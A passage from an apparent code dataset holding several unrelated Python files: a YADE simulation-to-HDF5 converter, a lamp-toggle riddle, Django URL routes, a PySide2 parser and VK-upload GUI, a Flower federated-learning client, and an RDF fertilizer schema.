log_10(confinement_pressure)\n    'mode',# drained/undrained (stored as group name)\n    'num' # number of particles\n]\n\ndef convert_all_to_hdf5(\n        pressures: list,\n        experiment_types: list,\n        paths: tuple,\n        sequence_length: int,\n        stored_in_subfolders: bool\n        ):\n    \"\"\"\n    Merge data of experiments of different pressures and types into a single\n    hdf5 file.\n\n    :param pressures: List of strings of pressures available.\n    :param experiment_types: List of strings of experiment types available.\n    :param paths: tuple containing two strings:\n      - data_dir: Root directory containing all the data.\n      - target_file: Path to hdf5 file to be created (should also have the name and the extension).\n    :param sequence_length: Expected number of time steps in sequences. If the sequence is\n      longer, only the first ``sequence_length`` element will be considered.\n    :param stored_in_subfolders: True if yade .npy files are stored in pressure/experiment_type\n      tree structure. False if all files are in a single folder `data_dir`.\n\n    .. warning:: Will remove `target_file` if already exists.\n    \"\"\"\n    data_dir, target_file = paths\n    if os.path.exists(target_file):\n        os.remove(target_file)\n\n    with h5py.File(target_file, 'a') as f:\n        f.attrs['inputs_drained'] = INPUT_KEYS_DRAINED\n        f.attrs['inputs_undrained'] = INPUT_KEYS_UNDRAINED\n        f.attrs['outputs'] = OUTPUT_KEYS\n        f.attrs['contact_params'] = CONTACT_KEYS\n        f.attrs['unused_keys_sequence'] = UNUSED_KEYS_SEQUENCE\n        f.attrs['unused_keys_constant'] = UNUSED_KEYS_CONSTANT\n\n        for pressure in pressures:\n            for experiment_type in experiment_types:\n                grp = f.require_group(f'{pressure}/{experiment_type}')\n                inputs_tensor, contact_tensor, outputs_tensor = \\\n                        convert_to_arrays(pressure, experiment_type,\n                                sequence_length, data_dir, stored_in_subfolders)\n                grp['contact_params'] = contact_tensor\n                grp['inputs'] = inputs_tensor\n                grp['outputs'] = outputs_tensor\n\n    print(f\"Added all data to {target_file}\")\n\n\ndef convert_to_arrays(\n        pressure: str,\n        experiment_type: str,\n        sequence_length: int,\n        data_dir: str,\n        stored_in_subfolders: bool\n        ):\n    \"\"\"\n    For a given pressure and experiment type, read all the files in the corresponding\n    directory and concatenate those with the expected sequence length together\n    into numpy arrays.\n\n    :param pressure: String indicating the pressure used.\n    :param experiment_type: String indicating the experiment type ('drained', 'undrained')\n    :param sequence_length: Expected number of timesteps in sequence. If the sequence is\n      longer, only the first ``sequence_length`` element will be considered.\n    :param data_dir: The root directory of the data.\n    :param stored_in_subfolders: True if yade .npy files are stored in pressure/experiment_type\n      tree structure. False if all files are in a single folder `data_dir`.\n\n    :return: Tuple of arrays of inputs, contacts, outputs\n\n    .. warning:: sequences longer and shorter than `sequence_length` are ignored.\n    \"\"\"\n    if stored_in_subfolders: data_dir = data_dir + f'{pressure}/{experiment_type}/'\n    if not os.listdir(data_dir):\n        raise FileNotFoundError(f\"Directory {data_dir} is empty.\")\n\n    file_names = [fn for fn in os.listdir(data_dir) if fn.endswith('.npy')]\n\n    # rescale pressures by 10**6 to make it order 1.\n    scalings = {key: 1. for key in OUTPUT_KEYS}\n    scalings['p'] = scalings['q'] = 1.e6\n\n    contact_list, inputs_list, outputs_list, other_lengths = ([] for _ in range(4))\n    for f in file_names:\n        try:\n            sim_params, sim_features = np.load(data_dir + f, allow_pickle=True)\n        except FileNotFoundError:\n            print('IOError', data_dir + f)\n            continue\n\n        if not stored_in_subfolders:\n            if (str(10**sim_params['conf']) != pressure) or (sim_params['mode'] != experiment_type):\n                continue\n\n        # test if sequence is of full length\n        test_features = sim_features[OUTPUT_KEYS[0]]\n        if len(test_features) >= sequence_length:\n            inputs, outputs, contact_params = get_members(sim_params, sim_features, scalings, experiment_type, sequence_length)\n            contact_list.append(contact_params)\n            inputs_list.append(inputs)\n            outputs_list.append(outputs)\n        else:\n            other_lengths.append(len(test_features))\n\n    print(f\"At confining pressure {pressure}, for the {experiment_type} case, \"\n          f\"there are {len(other_lengths)} samples with a different sequence lengths: {other_lengths}.\")\n\n    # keras requires (batch, sequence_length, features) shape, so transpose axes\n    inputs_list = np.transpose(np.array(inputs_list), (0, 2, 1))\n    outputs_list = np.transpose(np.array(outputs_list), (0, 2, 1))\n    contact_list = np.array(contact_list)\n\n    print(f'Created array of {outputs_list.shape[0]} samples,')\n    return inputs_list, contact_list, outputs_list\n\n\ndef get_members(\n        sim_params: dict,\n        sim_features: dict,\n        scalings: dict,\n        experiment_type: str,\n        sequence_length: int):\n    \"\"\"\n    Get inputs, outputs and contact_params lists from sim_params (unpickled from simulation output files), given the constants declared.\n\n    :param sim_params: dictionary loaded from simulation output file. Contains the fixed parameters of the simulation (i.e. contact params).\n    :param sim_features: dictionary loaded from simulation output file. Contains the variable parameters during the simualtions (i.e inputs and outputs).\n    :param scalings: floats to normalize some of the parameters.\n    :param experiment_type: String indicating the experiment type ('drained', 'undrained')\n    :param sequence_length: length of time series, if the simulations has longer time series than this parameter,\n      the sequence will be cut and only the first sequence_lenght values will be taken into account.\n\n    :return: 3 lists containing, inputs, outputs and contact_params.\n    \"\"\"\n    contact_params = [sim_params[key] for key in CONTACT_KEYS]\n    #contact_list.append(contact_params)\n    if experiment_type == 'drained':\n        inputs = [sim_features[key][:sequence_length] for key in INPUT_KEYS_DRAINED]\n        # Add sigma 2 and sigma 3 to inputs (optional) Not necessary since this info is in pressure or conf.\n        #sigma_2 = (np.array(sim_features['p']) - (np.array(sim_features['q'])/3.0)) / scalings['p']\n        #inputs.append(list(sigma_2[:sequence_length])) # sigma 2\n        #inputs.append(list(sigma_2[:sequence_length])) # sigma 3\n    elif experiment_type == 'undrained':\n        inputs = [sim_features[key][:sequence_length] for key in INPUT_KEYS_UNDRAINED]\n    else: raise ValueError(f\"experiment type must be drained or undrained but got {experiment_type}\")\n    outputs = [np.array(sim_features[key][:sequence_length]) / scalings[key] for key in OUTPUT_KEYS]\n\n    return inputs, outputs, contact_params\n\n\ndef get_pressures(data_dir: str):\n    \"\"\"\n    From a list of .npy YADE files get the confinement pressures, existing in the dataset.\n\n    :param data_dir: Path to the data (YADE .npy files)\n\n    :return: List of confinement pressures present in the dataset.\n    \"\"\"\n    if not os.listdir(data_dir):\n        raise FileNotFoundError(f\"Directory {data_dir} is empty.\")\n\n    pressures = []\n    file_names = [fn for fn in os.listdir(data_dir) if fn.endswith('.npy')]\n    for f in file_names:\n        try:\n            sim_params, _ = np.load(data_dir + f, allow_pickle=True)\n        except FileNotFoundError:\n            print('IOError', data_dir + f)\n            continue\n        pressure = str(10**sim_params['conf'])\n        if pressure not in pressures: pressures.append(pressure)\n\n    return pressures\n\n\ndef main():\n    # path to directory containing the data\n    data_dir='/Users/luisaorozco/Documents/Projects/GrainLearning/data/TriaxialCompression/'\n\n    # path where the resultant hdf5 file will be created (including name of the file and extension)\n    target_file='sequences.hdf5'\n\n    # Option 1: YADE .npy files stored in subfolders pressure/experiment_type\n    pressures = ['0.2e6', '0.5e6', '1.0e6']\n    experiment_types = ['undrained','drained']\n    stored_in_subfolders = True\n\n    # Option 2: YADE .npy files are stored in a single folder.\n    #pressures_2 = get_pressures('./')\n    #experiment_types_2 = ['drained']\n    #stored_in_subfolders_2 = False\n\n    # Call main function\n    convert_all_to_hdf5(\n            pressures=pressures,\n            experiment_types=experiment_types,\n            paths=(data_dir, target_file),\n            sequence_length=200,\n            stored_in_subfolders=stored_in_subfolders\n        )\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"chyalexcheng/grainLearning","sub_path":"scripts_tools/data_parsing/triaxial_YADE.py","file_name":"triaxial_YADE.py","file_ext":"py","file_size_in_byte":10376,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"16"}
+{"seq_id":"14266030519","text":"# There is 100 lamps and for each lamp there is his own toggle.\r\n# each toggle turn on his own lamp and the multiplies of this lamp\r\n# for instance: toggle number 4 will turn on lamp number 4 and lamps numbers 8,12,16,20\r\n# which lamps will remain lit after changing position of all 100 toggles?\r\n\r\nimport numpy as np\r\n\r\nn=100\r\nlamps = list(np.zeros(n,dtype='bool'))\r\nnumeration = list(range(1,n+1))\r\n\r\n\r\nfor toggel in numeration:\r\n    \r\n    #print(f'toggel number: {toggel}')\r\n    for index, lamp in zip(numeration,lamps):\r\n        if index % toggel == 0 and  lamps[index-1]== False:\r\n            lamps[index-1]= True\r\n        elif index % toggel == 0 and  lamps[index-1]== True:\r\n            lamps[index-1]=False\r\n            \r\n        #print(index,lamps[index-1])\r\n    #print()\r\n\r\nresults=[]\r\nfor index,lamp in zip(numeration,lamps):\r\n    if lamp:\r\n        results.append(index)\r\n        \r\nprint(f'For {n} toggels the result: {results}')\r\n\r\n\r\n\r\n    \r\n","repo_name":"BaruchY7/My_python","sub_path":"Lamps Toggles riddle.py","file_name":"Lamps Toggles riddle.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19289575748","text":"from django.urls import path\r\n\r\nfrom . import views\r\n\r\n\"\"\"\r\n<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<------COMMENT------>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\nHere at first the app name is declared to find the right app and the all urls of the template are\r\nadded to connect with the view of the app.\r\n\"\"\"\r\n\r\napp_name = 'polls'\r\nurlpatterns = [\r\n    path('', views.index, name='index'),\r\n    path('<int:pk>/', views.DetailView.as_view(), name='detail'),\r\n    path('<int:pk>/results/', views.ResultsView.as_view(), name='results'),\r\n    path('<int:question_id>/vote/', views.vote, name='vote'),\r\n]","repo_name":"mohaimin2018/Assignment_1_id_2310076221","sub_path":"Assignment_1_id_2310076221/polls/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11920958370","text":"# -*- coding: utf-8 -*-\n# import sys\nfrom configparser import ConfigParser\nfrom PySide2 import QtWidgets\nfrom PySide2.QtWidgets import QFileDialog\nimport xlsxwriter\nimport csv\nimport mm_parse_gui\nimport progress_gui\nfrom vk_upload import *\nfrom mm_parser import *\nimport json\nimport configparser\nimport sys\nimport os\nfrom platform import system\nimport shutil\n\n\nPLATFORM_SEP = '\\\\' if system() == 'Windows' else '/'  # Устанавливаем раздлитель в зависимости от ОС\nOLD_DATA = False\n\n\nclass Parse(QtWidgets.QDialog, progress_gui.UiProgress):\n    def __init__(self):\n        self.worker = None\n        super(Parse, self).__init__()\n        self.setupUi(self)\n        self.setWindowTitle('Парсинг.')\n        self.run()\n\n    def run(self):\n        self.worker = ParserMM(OLD_DATA)\n        self.progressBar.setRange(1, 100)\n        self.progressBar.setValue(0)\n        self.worker.progressBar.connect(self.update_progress)\n        self.worker.start()\n\n    # def closeEvent(self, *args):\n    #     # self.worker.join()\n    #     # self.worker.wait()\n    #     # self.worker.terminate()\n    #     print('sss')\n\n    def update_progress(self, err_code, err_msg, i, msg):\n\n        \"\"\"\n        изменение label и progressBar\n        :param err_code:100  - value прогрессьбара\n                        200     - удачное завершение\n                        404     - ошибка\n                        500     - не критическая ошибка, программа не прерывается\n                        600     - дополнение к выводу, например, \"Попытка подключения № 2\"\n                        700     - установка заголовка окна прогресса\n        :param err_msg: Сообщение об ошибке из сигнала\n        :param i:       счетчик для прогрессбара\n        :param msg:     сообщение из потока\n        :return:\n        \"\"\"\n        if err_code == 200:\n            QtWidgets.QMessageBox.information(None, self.tr('Парсинг.'),\n                                              self.tr(err_msg),\n                                              QtWidgets.QMessageBox.StandardButton.Ok)\n            global OLD_DATA\n            OLD_DATA = False\n            self.hide()\n        elif err_code == 300:\n            QtWidgets.QMessageBox.information(None, self.tr('Парсинг.'),\n                                              self.tr(err_msg),\n                                              QtWidgets.QMessageBox.StandardButton.Ok)\n\n        elif err_code == 404:\n            self.hide()\n            QtWidgets.QMessageBox.critical(None, self.tr('Ошибка!'),\n                                           self.tr(err_msg),\n                                           QtWidgets.QMessageBox.StandardButton.Ok)\n        elif err_code == 500:\n            QtWidgets.QMessageBox.information(None, self.tr('Парсинг.'),\n                                              self.tr(err_msg),\n                                              QtWidgets.QMessageBox.StandardButton.Ok)\n        elif err_code == 600:\n            self.worker.progressBar.connect(self.error_label.setText(err_msg))\n        elif err_code == 700:\n            self.worker.progressBar.connect(self.error_label.setText(err_msg))\n            self.setWindowTitle('Парсим данные с предыдущей сессии')\n        else:\n            self.worker.progressBar.connect(self.progressBar.setValue(i))\n            self.error_label.setText(err_msg)\n        self.label.setText(msg)\n\n\nclass VKUpload(QtWidgets.QDialog, progress_gui.UiProgress):\n    def __init__(self):\n        self.worker = None\n        super(VKUpload, self).__init__()\n        self.setupUi(self)\n        self.setWindowTitle('Выгрузка в ВК.')\n        self.run()\n\n    def run(self):\n        self.worker = VKUpl()\n        self.progressBar.setRange(1, 100)\n        self.progressBar.setValue(0)\n        self.worker.progressBar.connect(self.update_progress)\n        self.worker.start()\n\n    def update_progress(self, err_code, err_msg, i, msg):\n        \"\"\"\n        изменение label и progressBar\n\n        :param err_code: до 100  - value прогрессьбара\n                        200     - удачное завершение\n                        404     - ошибка\n        :param err_msg: Сообщение об ошибке из сигнала\n        :param i:\n        :param msg:     сообщение из потока\n        :return:\n        \"\"\"\n        if err_code == 200:\n            QtWidgets.QMessageBox.information(None, self.tr('Выгрузка в ВК'),\n                                              self.tr(err_msg),\n                                              QtWidgets.QMessageBox.StandardButton.Ok)\n            self.hide()\n        elif err_code == 404:\n            self.hide()\n            QtWidgets.QMessageBox.critical(None, self.tr('Ошибка!'),\n                                           self.tr(err_msg),\n                                           QtWidgets.QMessageBox.StandardButton.Ok)\n            self.hide()\n        else:\n            self.worker.progressBar.connect(self.progressBar.setValue(i))\n        self.label.setText(msg)\n\n\nclass MainWindow(QtWidgets.QMainWindow, mm_parse_gui.Ui_MainWindow):\n    def openParseDialog(self):\n        self.write_settings()\n        self.w1 = Parse()\n        self.w1.show()\n\n    def openVKUpload(self):\n        self.write_vk_settings()\n        self.w2 = VKUpload()\n        self.w2.show()\n\n    def change_directory(self):\n        directory = QFileDialog.getExistingDirectory(self, \"Выбрать папку\", \".\")\n        self.output_dir_entry.setText(directory)\n\n    @staticmethod\n    def _save_file(_section_url):\n        file = QFileDialog.getSaveFileName(filter='*.xlsx;; *.csv;; *.json')\n        save_file(file[0], file[1].replace('*.', ''), f'temp{PLATFORM_SEP}items{PLATFORM_SEP}{_section_url}.tmp')\n\n    def __init__(self):\n        self.w1, self.w2 = None, None\n        super().__init__()\n        self.setupUi(self)\n\n        self.fill_parser_settings_fields()  # Заполняем поля ввода значениями из configs/config\n        self.fill_vk_upload_fields()  # Заполняем поля ввода значениями из configs/vkconfig\n        self.parse_button.pressed.connect(self.openParseDialog)\n        self.vk_upload_button.pressed.connect(self.openVKUpload)\n        section = self.section_combo.currentText()\n        self.save_as.triggered.connect(lambda: self._save_file(section))\n\n        tmp_dir = os.listdir(f'temp{PLATFORM_SEP}soup')\n        if len(tmp_dir) != 0:\n            p = QtWidgets.QMessageBox.question(None, self.tr('Парсинг.'),\n                                               'С прошлого запуска остались не распарсенные данные.\\n'\n                                               ' Распарсить их?',\n                                               QtWidgets.QMessageBox.StandardButton.Yes,\n                                               QtWidgets.QMessageBox.StandardButton.No)\n            if p == QtWidgets.QMessageBox.Yes:\n                global OLD_DATA\n                OLD_DATA = True\n                self.openParseDialog()\n            else:\n                OLD_DATA = False\n                shutil.rmtree(f'temp{PLATFORM_SEP}soup')\n                os.mkdir(f'temp{PLATFORM_SEP}soup')\n\n    def write_settings(self):\n\n        config = configparser.ConfigParser()\n        config['config'] = {\n            'PRODUCT_COUNT': '80',\n            'USERNAME': self.username_entry.text(),\n            'PASSWORD': self.password_entry.text(),\n            'DUMP_TO_FILE': 'csv',\n            'SECTION_URL': self.section_combo.currentText(),\n        }\n\n        with open(f'configs{PLATFORM_SEP}config', 'w') as configfile:\n            config.write(configfile)\n\n    def write_vk_settings(self):\n\n        config = configparser.ConfigParser()\n        config['vkconfig'] = {\n            'ADDITIONAL_VALUE': self.additional_value_entry.text(),\n            'VK_LOGIN': self.vk_login_entry.text(),\n            'VK_PASSWORD': self.vk_password_entry.text(),\n            'GROUP_ID': self.group_id_entry.text(),\n            'SECTION': self.section_combo_vk.currentText(),\n        }\n\n        with open(f'configs{PLATFORM_SEP}vkconfig', 'w') as configfile:\n            config.write(configfile)\n\n    def fill_parser_settings_fields(self):\n        try:\n            config: ConfigParser = configparser.ConfigParser()\n            config.read(f'configs{PLATFORM_SEP}config')\n\n            try:\n                with open(f'configs{PLATFORM_SEP}sections', 'r') as file:\n                    json.load(file)\n            except FileNotFoundError:\n                QtWidgets.QMessageBox.critical(None, self.tr('Ошибка!'),\n                                               self.tr('Файл настроек разделов сайта не найден...'),\n                                               QtWidgets.QMessageBox.StandardButton.Ok)\n            finally:\n                with open(f'configs{PLATFORM_SEP}sections', 'r') as file:\n                    sections_from_file = json.load(file)\n            count = 0\n            for i in dict(sections_from_file[0]).keys():\n                self.section_combo.addItem(\"\")\n                self.section_combo.setItemText(count, i)\n                count += 1\n\n            self.username_entry.setText(config.get('config', 'USERNAME'))\n            self.password_entry.setText(config.get('config', 'PASSWORD'))\n            self.section_combo.setCurrentText(config.get('config', 'SECTION_URL'))\n\n        except FileNotFoundError:\n            QtWidgets.QMessageBox.critical(None, self.tr('Ошибка!'),\n                                           self.tr('Файл настроек парсера не найден...'),\n                                           QtWidgets.QMessageBox.StandardButton.Ok)\n\n    def fill_vk_upload_fields(self):\n        try:\n            config: ConfigParser = configparser.ConfigParser()\n            config.read(f'configs{PLATFORM_SEP}vkconfig')\n            try:\n                with open(f'configs{PLATFORM_SEP}sections', 'r') as file:\n                    json.load(file)\n            except FileNotFoundError:\n                QtWidgets.QMessageBox.critical(None, self.tr('Ошибка!'),\n                                               self.tr('Файл настроек разделов сайта не найден...'),\n                                               QtWidgets.QMessageBox.StandardButton.Ok)\n            finally:\n                with open(f'configs{PLATFORM_SEP}sections', 'r') as file:\n                    sections_from_file = json.load(file)\n            count = 0\n            for i in dict(sections_from_file[0]).keys():\n                self.section_combo_vk.addItem(\"\")\n                self.section_combo_vk.setItemText(count, i)\n                count += 1\n\n            self.additional_value_entry.setText(config.get('vkconfig', 'ADDITIONAL_VALUE'))\n            self.vk_login_entry.setText(config.get('vkconfig', 'VK_LOGIN'))\n            self.vk_password_entry.setText(config.get('vkconfig', 'VK_PASSWORD'))\n            self.group_id_entry.setText(config.get('vkconfig', 'GROUP_ID'))\n\n        except FileNotFoundError:\n            QtWidgets.QMessageBox.critical(None, self.tr('Ошибка!'),\n                                           self.tr('Файл настроек ВК не найден...'),\n                                           QtWidgets.QMessageBox.StandardButton.Ok)\n\n\ndef main():\n    try:\n        os.mkdir('configs')\n    except FileExistsError:\n        pass\n    try:\n        with open(f'configs{PLATFORM_SEP}config', 'r') as file:\n            file.read()\n    except FileNotFoundError:\n        config = configparser.ConfigParser()\n        config['config'] = {\n            'PRODUCT_COUNT': '80',\n            'USERNAME': '',\n            'PASSWORD': '',\n            'DUMP_TO_FILE': 'json',\n            'SECTION_URL': 'Шапки',\n        }\n        with open(f'configs{PLATFORM_SEP}config', 'w') as configfile:\n            config.write(configfile)\n\n    try:\n        with open(f'configs{PLATFORM_SEP}sections', 'r') as file:\n            file.read()\n    except FileNotFoundError:\n        ParserMM.dump_to_json(None, [{\n            \"Верхняя одежда\": \"\",\n            \"Предзаказ\": \"\",\n            \"Карнавал\": \"\",\n            \"Обувь\": \"\",\n            \"Распродажа\": \"\",\n            \"Трикотаж\": \"\",\n            \"Чулочно-носочные изделия\": \"\",\n            \"Шапки\": \"\",\n            \"Школа\": \"\"\n        }],\n            'w')\n\n    try:\n        with open(f'configs{PLATFORM_SEP}vkconfig', 'r') as file:\n            file.read()\n    except FileNotFoundError:\n        config = configparser.ConfigParser()\n        config['vkconfig'] = {\n            'ADDITIONAL_VALUE': '',\n            'VK_LOGIN': '',\n            'VK_PASSWORD': '',\n            'GROUP_ID': '',\n        }\n\n        with open(f'configs{PLATFORM_SEP}vkconfig', 'w') as configfile:\n            config.write(configfile)\n\n    app = QtWidgets.QApplication(sys.argv)\n    window = MainWindow()\n    window.show()\n    sys.exit(app.exec_())\n\n\ndef save_file(_filename, _format, _data):\n    if _format == 'csv':\n        dump_to_csv(_filename + '.' + _format, _data)\n    elif _format == 'xlsx':\n        dump_to_xlsx(_filename + '.' + _format, _data)\n    elif _format == 'json':\n        shutil.copy2(_data, _filename + '.' + _format)\n\n\ndef dump_to_xlsx(filename, infile):\n    \"\"\"\n    Записывает данные в файл Excel\n\n    :param  filename:       имя файла для записи.\n    :param  infile:         данные для записи.\n    :return:                None, если данных для записи нет.\n    \"\"\"\n    if not len(infile):\n        return None\n\n    try:\n        with open(infile, \"r\"):\n            pass\n    except FileNotFoundError:\n        with open(infile, 'w'):\n            pass\n    finally:\n        with open(infile, \"r\") as read_file:\n            data = json.load(read_file)\n\n    with xlsxwriter.Workbook(filename) as workbook:\n        ws = workbook.add_worksheet()\n        cell_format_bottom = workbook.add_format({\n            'bold': True,\n            'border': 1,\n            'align': 'left',\n            'font_size': 10\n        })\n        cell_format = workbook.add_format({\n            'border': 1,\n            'align': 'left',\n            'font_size': 10\n        })\n\n        headers = ['Раздел', 'Артикул', 'Наименование', 'Цена', 'Размер', 'Цвет', 'Фото', 'Описание']\n\n        for col, h in enumerate(headers):\n            ws.write_string(0, col, h, cell_format=cell_format_bottom)\n\n        for row, item in enumerate(data, start=1):\n            try:\n                item['Раздел']\n            except KeyError:\n                item['Раздел'] = ''\n            try:\n                item['Артикул']\n            except KeyError:\n                item['Артикул'] = ''\n            try:\n                item['Название']\n            except KeyError:\n                item['Название'] = ''\n            try:\n                item['Цена']\n            except KeyError:\n                item['Цена'] = ''\n            try:\n                item['Размеры']\n            except KeyError:\n                item['Размеры'] = ''\n            try:\n                item['Цвет']\n            except KeyError:\n                item['Цвет'] = ''\n            try:\n                item['Картинка']\n            except KeyError:\n                item['Картинка'] = ''\n            try:\n                item['Описание']\n            except KeyError:\n                item['Описание'] = ''\n\n            ws.write_string(row, 0, item['Раздел'], cell_format=cell_format)\n            ws.write_string(row, 1, item['Артикул'], cell_format=cell_format)\n            ws.write_string(row, 2, item['Название'], cell_format=cell_format)\n            ws.write_string(row, 3, item['Цена'], cell_format=cell_format)\n            ws.write_string(row, 4, item['Размеры'], cell_format=cell_format)\n            ws.write_string(row, 5, item['Цвет'], cell_format=cell_format)\n            ws.write_string(row, 6, item['Картинка'], cell_format=cell_format)\n            ws.write_string(row, 7, item['Описание'], cell_format=cell_format)\n\n\ndef dump_to_csv(filename, infile, delimiter=';'):\n    \"\"\"\n    Записывает данные в файл .csv\n\n    :param  filename:       имя файла для записи.\n    :param  infile:         данные для записи.\n    :param  delimiter:      разделитель столбцов.\n    :return:                None, если данных для записи нет.\n    \"\"\"\n    if not len(infile):\n        return None\n    try:\n        with open(infile, \"r\"):\n            pass\n    except FileNotFoundError:\n        with open(infile, 'w'):\n            pass\n    finally:\n        with open(infile, \"r\") as read_file:\n            data = json.load(read_file)\n\n    with open(filename, \"w\", newline='') as csv_file:\n        writer = csv.writer(csv_file, delimiter=delimiter)\n        # headers = (['Раздел', 'Артикул', 'Наименование', 'Цена', 'Размер', 'Цвет', 'Фото', 'Описание'])\n        # writer.writerow(headers)\n\n        for line in data:\n            try:\n                line['Раздел']\n            except KeyError:\n                line['Раздел'] = ''\n            try:\n                line['Артикул']\n            except KeyError:\n                line['Артикул'] = ''\n            try:\n                line['Название']\n            except KeyError:\n                line['Название'] = ''\n            try:\n                line['Цена']\n            except KeyError:\n                line['Цена'] = ''\n            try:\n                line['Размеры']\n            except KeyError:\n                line['Размеры'] = ''\n            try:\n                line['Цвет']\n            except KeyError:\n                line['Цвет'] = ''\n            try:\n                line['Картинка']\n            except KeyError:\n                line['Картинка'] = ''\n            try:\n                line['Описание']\n            except KeyError:\n                line['Описание'] = ''\n\n            writer.writerow((line['Раздел'], line['Артикул'], line['Название'], line['Цена'], line['Размеры'],\n                             line['Цвет'], line['Картинка'], line['Описание']))\n\n\ndef dirs():\n    try:\n        os.mkdir('temp')\n    except FileExistsError:\n        pass\n    try:\n        os.mkdir(f'temp{PLATFORM_SEP}old_data{PLATFORM_SEP}')\n    except FileExistsError:\n        pass\n    try:\n        os.mkdir(f'temp{PLATFORM_SEP}items')\n    except FileExistsError:\n        pass\n    try:\n        os.mkdir(f'temp{PLATFORM_SEP}pics')\n    except FileExistsError:\n        pass\n\n    try:\n        os.mkdir(f'temp{PLATFORM_SEP}soup')\n    except FileExistsError:\n        pass\n\n\nif __name__ == '__main__':\n    dirs()\n    main()\n","repo_name":"AlexSG8/parser_malenkymir_ru","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":19530,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"49728636676","text":"import tensorflow as tf\nimport flwr as fl\n\nimport pandas as pd\nimport numpy as np\nfrom data import load_data\nfrom model import Model\n\n\nimport argparse\n\nx_train, y_train, x_valid, y_valid, x_test, y_test = load_data()\nmodel = Model()\n\n\nclass StoreClient(fl.client.NumPyClient):\n    def __init__(\n        self,\n        model=model,\n        x_train=x_train,\n        y_train=y_train,\n        x_valid=x_valid,\n        y_valid=y_valid,\n        x_test=x_test,\n        y_test=y_test,\n    ) -> None:\n        super().__init__()\n        self.model = model.model\n        self.x_train = x_train\n        self.y_train = y_train\n        self.x_valid = x_valid\n        self.y_valid = y_valid\n        self.x_test = x_test\n        self.y_test = y_test\n\n    def get_parameters(self, config):\n        return self.model.get_weights()\n\n    def fit(self, parameters, config):\n        self.model.set_weights(parameters)\n        early_stopping = tf.keras.callbacks.EarlyStopping(\n            monitor=\"val_loss\",\n            patience=4,\n            min_delta=100,\n            restore_best_weights=True,\n        )\n        history = self.model.fit(\n            self.x_train,\n            self.y_train,\n            batch_size=100,\n            epochs=100,\n            callbacks=[early_stopping],\n            validation_data=(x_valid, y_valid))\n\n        # Return updated model parameters and results\n        parameters_prime = self.model.get_weights()\n        num_examples_train = len(self.x_train)\n        results = {\n            \"loss\": history.history[\"loss\"][0],\n            \"mean_squared_error\": history.history[\"mean_squared_error\"][0],\n            \"val_loss\": history.history[\"val_loss\"][0],\n            \"val_mean_squared_error\": history.history[\"val_mean_squared_error\"][0],\n        }\n        return parameters_prime, num_examples_train, results\n\n    def evaluate(self, parameters, config):\n        self.model.set_weights(parameters)\n        loss, mean_squared_error, mean_absolute_error = self.model.evaluate(\n            self.x_test, self.y_test\n        )\n        return (\n            loss,\n            len(self.x_test),\n            {\n                \"mean_squared_error\": float(mean_squared_error),\n                \"mean_absolute_error\": mean_absolute_error,\n            },\n        )\n\n\n\n\n\ndef main() -> None:\n    parser = argparse.ArgumentParser(description=\"Flower\")\n    parser.add_argument(\"--client\", type=int, choices=range(1, 46), required=True)\n    args = parser.parse_args()\n    print(str(args.client))\n\n    X_train, y_train, X_valid, y_valid, X_test, y_test = load_data(str(args.client))\n\n    model = Model()\n\n    fl.client.start_numpy_client(\n        server_address=\"127.0.0.1:8080\",\n        client=StoreClient(model, X_train, y_train, X_valid, y_valid, X_test, y_test),\n    )\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"dljw/federated-learning","sub_path":"src/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35787232857","text":"# Fertilizer namespace\nfrom .common_namespace import *\nfrom .crop_namespace import *\nfrom .place_namespace import *\n\n# define the namespace and classes:\nfertilizerNS = Namespace(common_uri + \"fertilizer#\")\nfertilizerClass = fertilizerNS[\"Fertilizer\"]\n\n# define the properties:\nappliedAt = fertilizerNS['applied_at']\nareaApplied = fertilizerNS['fertilizer_area'] # literal\naverageQtyApplied = fertilizerNS['average_qty_applied'] # literal\nureaQty = fertilizerNS['urea_qty'] # literal\nammosulQty = fertilizerNS['ammosul_qty'] # literal\nammophosQty = fertilizerNS['ammophos_qty'] # literal\ncompleteQty = fertilizerNS['complete_qty'] # literal\nothersQty = fertilizerNS['others_qty'] # literal\nareaHarvested = fertilizerNS['area_harvested'] # literal\nyearApplied = fertilizerNS['year_applied'] # literal\ncropApplied = fertilizerNS['crop_applied']\n\nschema_triples = [\n    # class declarations\n    (fertilizerClass, rdfType, owlClass),\n    # (fertilizerClass, rdfsSubClassOf, objectClass),\n\n    (appliedAt, rdfType, owlObjectProperty),\n    (appliedAt, rdfsDomain, fertilizerClass),\n    (appliedAt, rdfsRange, placeClass),\n\n    (areaApplied, rdfType, owlDatatypeProperty),\n    (areaApplied, rdfsDomain, fertilizerClass),\n    (areaApplied, rdfsRange, xsdDecimal),\n\n    (averageQtyApplied, rdfType, owlDatatypeProperty),\n    (averageQtyApplied, rdfsDomain, fertilizerClass),\n    (averageQtyApplied, rdfsRange, xsdDecimal),\n\n    (ureaQty, rdfType, owlDatatypeProperty),\n    (ureaQty, rdfsDomain, fertilizerClass),\n    (ureaQty, rdfsRange, xsdDecimal),\n\n    (ammosulQty, rdfType, owlDatatypeProperty),\n    (ammosulQty, rdfsDomain, fertilizerClass),\n    (ammosulQty, rdfsRange, xsdDecimal),\n\n    (ammophosQty, rdfType, owlDatatypeProperty),\n    (ammophosQty, rdfsDomain, fertilizerClass),\n    (ammophosQty, rdfsRange, xsdDecimal),\n\n    (completeQty, rdfType, owlDatatypeProperty),\n    (completeQty, rdfsDomain, fertilizerClass),\n    (completeQty, rdfsRange, xsdDecimal),\n\n    (othersQty, rdfType, owlDatatypeProperty),\n    (othersQty, rdfsDomain, fertilizerClass),\n    (othersQty, rdfsRange, xsdDecimal),\n\n    (areaHarvested, rdfType, 